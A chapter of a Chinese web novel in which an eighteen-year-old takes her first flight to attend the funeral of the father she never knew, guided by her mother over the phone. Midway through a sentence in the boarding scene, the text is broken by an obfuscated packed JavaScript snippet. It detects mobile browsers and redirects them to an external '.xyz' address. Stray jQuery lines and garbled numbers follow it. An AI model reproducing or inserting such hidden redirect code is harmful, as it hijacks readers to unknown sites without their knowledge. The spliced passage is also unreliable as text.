我叫赵无恙，今年十八岁。


    此刻的我正带着耳机听着歌，坐在地铁2号线上，前往宁波栎社机场。手机屏幕上显示着10:07，距离登机还有两小时十三分钟。


    "前往栎社国际机场的乘客请注意..."


    地铁里的广播声将我的思绪拉回现实。我下意识攥紧了斜挎包的肩带，帆布面料在掌心摩擦出细微的声响。背包里只有充电器、身份证和半包纸巾，轻得不像要去参加一场葬礼。


    是的，我要准备回四川老家参加一个人的葬礼。


    那个人就是我素未谋面、完全没有记忆的亲生父亲。


    地铁玻璃映出我的倒影——齐肩的黑发，白净的脸，右耳三枚银质耳钉在顶灯下闪着冷光。邻座的大妈往旁边挪了挪，紧紧地握住她的红色大行李箱。


    想了一会儿，我把右耳上的三枚耳钉取下来，放在包里。


    "前方到站栎社国际机场。"


    我随着人流向出口涌去。现在已经到了2024年12月底，还有一个月就过年了，所以在机场可以看到很多拉着行李箱或者提着大包小包回家的人。


    这是我第一次到机场，因为我是第一次坐飞机。


    之前每一次回妈妈老家，都是跟着她做火车或者高铁到梓州市。这次可能是因为事发突然吧，妈妈就给我买了机票。我在网上看了下，此时的机票不便宜。


    因为外婆生病，妈妈一个星期前就回去了，所以妈妈说让我一个人从宁波坐飞机到成都，然后再从成都做高铁到梓州，她在高铁站门口接我。


    我是今天早上接到妈妈的电话，她紧急买了机票，让我什么东西都不用拿直接走就行。于是我就背上我的小背包，拿上手机充电器和身份证就走了。


    "CA4572，宁波飞成都..."


    自助值机柜台前，我的手指在屏幕上停顿了三秒才按下确认键。登机牌从机器里吐出来时还带着温度，薄薄的纸片上印着"赵无恙"三个字。


    刚刚取了票，现在正在排队过安检，就看到妈妈的电话打来。


    “乖乖，你到机场了吗？知道怎么去取票吗？怎么操作吗？你可以去找机场的柜台工作人员去问，因为你没有行李就直接去排队过安检。”


    一连串的关心接踵而来。


    耳机里传来熟悉的声音要比平时更沙哑些。背景音里有四川方言的嘈杂，还有汽车声。她应该是在去高铁站的车上。


    妈妈的声音很好听，一直都很细，很温柔，很慢，但很沉稳，能清楚的听到她的吐字。


    “妈妈，我问了工作人员，已经取了票，现在正在过安检。”


    抬头看去，我已经排到安检通道的第二个人了。前面穿西装的男人把笔记本电脑掏出来又塞回去，金属探测门不时发出刺耳的警报声。


    "可以了，下一位。"


    我把帆布鞋踩在黄色脚印标志上，张开双臂时闻到自己羽绒服上淡淡的鸡翅味。由于走得匆忙，我随手拿起了我穿了一个星期的外套。


    "妈妈，我过完安检了。"我捏着登机牌的一角，前往58号登机口。


    “哇哦，无恙真厉害，第一次做飞机就这么顺利。那你就要看好登机时间哦，可以早点在登机口那等着。对了，你饿不饿啊，饿的话可以去吃点，另外你这趟飞机是有午餐的，你可以在飞机上再吃点。”


    妈妈温柔的声音娓娓道来。


    “我现在不饿，那我等会在飞机上吃飞机餐。”


    跟妈妈说这句话前，我刚路过机场里的一个面馆，看了一下一碗普通的牛肉面，最便宜的要58元，我觉得很不划算就没有吃。所以我打算直接去登机口。


    “妈妈，我现在在登机口了，还有45分钟到登机时间。”


    “嗯嗯，等会上飞机后，就去找你的座位，然后系好安全带，跟高铁一样，座位前都有小桌板，飞机起飞的时候需要把小桌板收起来，一般起飞后30-40分钟会发飞机餐。你要喝水或者喝饮料都可以问空姐要，对了，如果冷的话，也可以向空姐要一个毛毯。”


    妈妈仍然不耐其烦的告诉我坐飞机的流程。


    其实我都能想象她肯定是在小红书上做了攻略，搜索“第一次做飞机注意事项”类似的问题，然后现在再告诉我。


    为什么我能这么肯定了？


    一是这些流程在我来机场的路上有查看过，跟妈妈给我描述的基本上一样，估计我俩看的还是同一篇帖子。二是我的记忆中妈妈好像也没有做过飞机。


    今天的天气很不好，飘着小雨，湿冷湿冷的，不知道成都是不是也这样。


    我一边听着妈妈从耳机里传来的声音，一边也听着机场的嘈杂声。这毕竟也是我第一次做飞机，哪怕到了登机口，我也关注着这里面的一切。妈妈似乎也能感知我这种情绪，没有在意我偶然的恍惚，她还是一直慢慢地叮嘱着我在飞机上如果有事情怎么办，需要上厕所怎么办，遇到气流不要害怕。


    时间一分一秒地过去，听着妈妈的声音，跟她聊着天，时间过得很块，这45分钟也没有那么漫长让人难以等待。


    “妈妈，我开始排队了，我排在第...123


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788748|174904||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    4567个。”


    我拿着身份证和登机牌递给工作人员，工作人员只拿了的登机牌，检查后我就跟着前面的人往前走。


    我赶紧把这消息告诉了她；“原来在登机口不需要身份证，就需要登机牌就行。”


    “哦，好像是的，哈哈哈哈，这个我也没有怎么注意。”


    妈妈的笑声传来，看来她搜的帖子没有详细到这个环节。心有灵犀一般，我也跟着妈妈笑起来。


    “那有摆渡车吗？你是需要去做摆渡车到飞机上吗？”


    看来妈妈也好奇。于是我挂断了电话，跟她打了视频电话，让她看看宁波机场。我们来到宁波十多年了，这居然是我俩第一次看到在机场里面的情况。


    “没有做摆渡车，直接走的廊桥。妈妈你看外面，下了下雨，你那边也下雨了吗？”


    “我这边没有，不过和你那边天气差不多。”


    我看到视频里的妈妈现在正坐在大巴车里，妈妈的刘海有点打缕了。


    看来她最近应该很忙很累吧。


    我跟着工作人员的指示，找到了我的座位，运气很好，是靠窗的位置，系好安全带后便让妈妈看飞机外面的景色。


    其实也没有什么景色，就是空荡的地面，因为飞机还没起飞。


    我旁边是一对情侣，好像是大学生。


    哦～对诶，最近学校好像已经陆陆续续放假了。没有那么清楚放假时间是因为我没有读大学，也没读高中。我初中毕业后没考上普高就去读了职高，学校管得松没有什么可学的，最近在妈妈上班的商场里去一家肯德基兼职，当服务员。


    “女士们，先生们，我们的飞机已经准备起飞，请您系好安全带，调直座椅靠背，放下座椅扶手，收起小桌板，打开遮光板，并确认手机处于关闭状态。现在由乘务员进行客舱安全检查，谢谢。”


    飞机快要起飞了，广播传来了空姐优美的声音，提醒乘客注意事项。


    “妈妈，飞机要起飞了，我先不和你说了，我到成都后给你回电话。”


    “好的，乖乖，不要怕，有事就叫工作人员。”妈妈依依不舍的挂断了视频。


    她很想我，非常非常想我。她也很担心我，非常非常担心我。


    我知道的，清楚的知道。


    其实我今年已经十八岁了，但每一次我出去玩，严格意义说每一次她不在我身边的时候，她总是这样给我打电话打视频询问我。因为她总是很想我，总是担心我。


    因为我和妈妈已经相依为命十四年了。


    我俩是彼此的依靠。